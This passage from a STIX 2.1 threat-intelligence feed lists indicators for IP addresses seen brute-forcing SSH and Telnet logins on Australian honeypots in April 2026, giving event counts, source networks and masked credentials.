      "created": "2026-04-20T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--8815c1db-2b24-45aa-ac71-ac66f8ca8e23",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T03:15:11.000Z",
      "valid_until": "2026-05-22T03:15:09.000Z"
    },
    {
      "created": "2026-04-20T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 33. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 56045. Organisation(s): China Mobile communications corporation. Usernames observed (masked): r**t. Passwords observed (masked): r**t.",
      "id": "indicator--963ed2d6-6927-49b4-8022-84e5864c3157",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.83.107.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T03:15:11.000Z",
      "valid_until": "2026-05-22T03:15:09.000Z"
    },
    {
      "created": "2026-04-20T03:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 10439. Organisation(s): CariNet, Inc..",
      "id": "indicator--496f9dab-99b8-4cf0-9954-0110da278cae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '71.6.232.29']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T03:15:11.000Z",
      "valid_until": "2026-05-22T03:15:09.000Z"
    },
    {
      "created": "2026-04-20T03:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 33915. Organisation(s): Vodafone Libertel B.V..",
      "id": "indicator--e1a05da5-72a1-4803-a3d8-ed01e8a588da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T03:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '83.80.184.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T03:15:11.000Z",
      "valid_until": "2026-05-22T03:15:09.000Z"
    },
    {
      "created": "2026-04-20T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--e2f5e25d-4eae-4b9c-b2af-44bd3e323a5f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.10.66.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T04:15:14.000Z",
      "valid_until": "2026-05-22T04:15:02.000Z"
    },
    {
      "created": "2026-04-20T04:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 264439. Organisation(s): OuriNet TELECOM.",
      "id": "indicator--0399b25d-21da-4516-a1b1-5945d827fb43",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '131.221.236.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T04:15:14.000Z",
      "valid_until": "2026-05-22T04:15:02.000Z"
    },
    {
      "created": "2026-04-20T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38365. Organisation(s): Beijing Baidu Netcom Science and Technology Co., Ltd.. Usernames observed (masked): a***n, r**t. Passwords observed (masked): k*******************S.",
      "id": "indicator--4a0b41c2-4900-4049-bd87-10b069c9bcc6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.76.61.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T04:15:14.000Z",
      "valid_until": "2026-05-22T04:15:02.000Z"
    },
    {
      "created": "2026-04-20T04:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--67d229f0-0bc1-43c4-95a7-ff0be8b306b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T04:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.172']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T04:15:14.000Z",
      "valid_until": "2026-05-22T04:15:02.000Z"
    },
    {
      "created": "2026-04-20T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A..",
      "id": "indicator--0b8222c8-c06b-4883-91d3-9308903f5f97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '109.50.180.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T05:15:03.000Z",
      "valid_until": "2026-05-22T05:15:01.000Z"
    },
    {
      "created": "2026-04-20T05:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--0e5125a2-fb77-45bd-b5c3-f14ee16322c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T05:15:03.000Z",
      "valid_until": "2026-05-22T05:15:01.000Z"
    },
    {
      "created": "2026-04-20T05:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LV. ASN(s): 12578. Organisation(s): SIA Tet.",
      "id": "indicator--4cdb8a5a-4fe9-435d-970c-1dcc77aa139f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T05:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '80.232.249.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T05:15:03.000Z",
      "valid_until": "2026-05-22T05:15:01.000Z"
    },
    {
      "created": "2026-04-20T06:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 38019. Organisation(s): tianjin Mobile Communication Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): c****s, d****n, u****u.",
      "id": "indicator--265782b1-587c-4798-8d09-f72ae74be911",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T06:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.131.156.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T06:15:08.000Z",
      "valid_until": "2026-05-22T06:15:01.000Z"
    },
    {
      "created": "2026-04-20T06:15:08.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 138423. Organisation(s): CMPak Limited.",
      "id": "indicator--3b5eb422-150e-4196-b791-f3d1e713b8d8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T06:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '223.123.38.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T06:15:08.000Z",
      "valid_until": "2026-05-22T06:15:01.000Z"
    },
    {
      "created": "2026-04-20T06:15:08.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): h***z, r**t, 3**********4, ***. Passwords observed (masked): 3***********4, 3**********4, Z*************., d******4, h***z.",
      "id": "indicator--1be33b90-249e-47d5-8672-6806dbee12b4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T06:15:08.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.128.175.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T06:15:08.000Z",
      "valid_until": "2026-05-22T06:15:01.000Z"
    },
    {
      "created": "2026-04-20T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--9ac60455-7bc0-4853-8c56-73ef98b3d3ae",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T07:15:03.000Z",
      "valid_until": "2026-05-22T07:15:01.000Z"
    },
    {
      "created": "2026-04-20T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--5a0220a6-800f-450b-a4b4-f4f50b8c26d1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T07:15:03.000Z",
      "valid_until": "2026-05-22T07:15:01.000Z"
    },
    {
      "created": "2026-04-20T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: LK. ASN(s): 132124. Organisation(s): Information and Communication Technology Agency of Sri Lanka.",
      "id": "indicator--9f96af40-801e-41df-9f7b-3ff2e812e435",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '43.224.125.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T07:15:03.000Z",
      "valid_until": "2026-05-22T07:15:01.000Z"
    },
    {
      "created": "2026-04-20T07:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--c7c17e0b-1080-4945-b5a0-4a0f561a420d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.82.74.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T07:15:03.000Z",
      "valid_until": "2026-05-22T07:15:01.000Z"
    },
    {
      "created": "2026-04-20T08:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 142647. Organisation(s): Nasstec Airnet Networks Private Limited.",
      "id": "indicator--03e9384e-6a70-4763-8598-64516d2be283",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.173.7.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T08:15:03.000Z",
      "valid_until": "2026-05-22T08:15:01.000Z"
    },
    {
      "created": "2026-04-20T08:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--ad8b420e-a811-4e6d-807f-a04f4ca32da7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.107.3.137']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T08:15:03.000Z",
      "valid_until": "2026-05-22T08:15:01.000Z"
    },
    {
      "created": "2026-04-20T08:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 7602. Organisation(s): Sai gon Postel Corporation.",
      "id": "indicator--e987f7c0-a8ab-45aa-a2e5-a5e4f98e285b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '180.93.243.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T08:15:03.000Z",
      "valid_until": "2026-05-22T08:15:01.000Z"
    },
    {
      "created": "2026-04-20T08:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 220. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 134366. Organisation(s): Cloud Computing HK Limited. Usernames observed (masked): r**t, u****u, 3**********4, a***n, ***. Passwords observed (masked): 1****6, 1**4, 1*********r, 1******8, 1********!.",
      "id": "indicator--c7d10613-ad5f-4871-9b5e-90951e80cf17",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T08:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.120.216.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T08:15:03.000Z",
      "valid_until": "2026-05-22T08:15:01.000Z"
    },
    {
      "created": "2026-04-20T09:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--989468e6-7e59-4ab0-bb21-987a9daef076",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.175.52.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T09:15:04.000Z",
      "valid_until": "2026-05-22T09:15:01.000Z"
    },
    {
      "created": "2026-04-20T09:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 203. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: JP. ASN(s): 18126. Organisation(s): Chubu Telecommunications Company, Inc.. Usernames observed (masked): r**t, s****a, 3**********4, a***********r, a****e. Passwords observed (masked): 1****1, 1**4, 3***********4, 3**********4, H********$.",
      "id": "indicator--84890aaa-0270-4447-9485-638af1a3529d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '123.48.142.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T09:15:04.000Z",
      "valid_until": "2026-05-22T09:15:01.000Z"
    },
    {
      "created": "2026-04-20T09:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 45899. Organisation(s): VNPT Corp.",
      "id": "indicator--7a7d9728-d9ed-4094-8f1b-830d1b8fc0ed",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.169.129.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T09:15:04.000Z",
      "valid_until": "2026-05-22T09:15:01.000Z"
    },
    {
      "created": "2026-04-20T09:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 150436. Organisation(s): Byteplus Pte. Ltd.. Usernames observed (masked): r**t, u****u, 3**********4, d**a, ***. Passwords observed (masked): 1****6, ***, 1******m, 3***********4, 3**********4.",
      "id": "indicator--b4980019-95e8-4848-b1f3-7c5f7ff100fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '150.5.129.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T09:15:04.000Z",
      "valid_until": "2026-05-22T09:15:01.000Z"
    },
    {
      "created": "2026-04-20T09:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 1080. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): *. Passwords observed (masked): *.",
      "id": "indicator--51b67330-5981-46de-b4ec-9ba2b567dc1f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '209.38.101.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T09:15:04.000Z",
      "valid_until": "2026-05-22T09:15:01.000Z"
    },
    {
      "created": "2026-04-20T09:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--645530ed-4fe0-45a5-815d-e25907998d3d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.118.170.176']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T09:15:04.000Z",
      "valid_until": "2026-05-22T09:15:01.000Z"
    },
    {
      "created": "2026-04-20T09:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********4, H**********************3.",
      "id": "indicator--c59624db-2e7c-4c2f-854e-ec7bff96226d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.79.0.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T09:15:04.000Z",
      "valid_until": "2026-05-22T09:15:01.000Z"
    },
    {
      "created": "2026-04-20T09:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--a8d310de-ac61-42e8-9c44-07aa6b47bd48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T09:15:04.000Z",
      "valid_until": "2026-05-22T09:15:01.000Z"
    },
    {
      "created": "2026-04-20T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--06837a9a-0a0e-49ff-a686-992fd3ce4374",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '111.10.246.236']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T10:15:12.000Z",
      "valid_until": "2026-05-22T10:15:08.000Z"
    },
    {
      "created": "2026-04-20T10:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 71. Sensors involved: Cowrie. Target ports: 23. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): **, G************1, O*********************************0, U*************************************************************************************************************************6. Passwords observed (masked): **, A*******************p, C********3, H**********************3.",
      "id": "indicator--3508299f-a7dd-4384-9606-21c8c7e0125e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '34.140.236.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T10:15:12.000Z",
      "valid_until": "2026-05-22T10:15:08.000Z"
    },
    {
      "created": "2026-04-20T10:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MN. ASN(s): 17882. Organisation(s): UNIVISION LLC.",
      "id": "indicator--7cf9468e-976f-40de-a09f-880f0637bf26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T10:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.181.171.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T10:15:12.000Z",
      "valid_until": "2026-05-22T10:15:08.000Z"
    },
    {
      "created": "2026-04-20T11:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 300. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--81a9be0d-f5ff-49de-abdb-ad3cd05952b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '175.165.87.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T11:15:03.000Z",
      "valid_until": "2026-05-22T11:15:01.000Z"
    },
    {
      "created": "2026-04-20T11:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): e***a, 3**********4, g**d, r**t. Passwords observed (masked): 1****6, 3***********4, 3**********4, R******3, W******1.",
      "id": "indicator--868183cb-9d10-4cbb-8588-ef3042565805",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-20T11:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.174.238.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-20T11:15:03.000Z",
      "valid_until": "2026-05-22T11:15:01.000Z"
    },
    {
      "created": "2026-04-20T11:15:03.000Z",
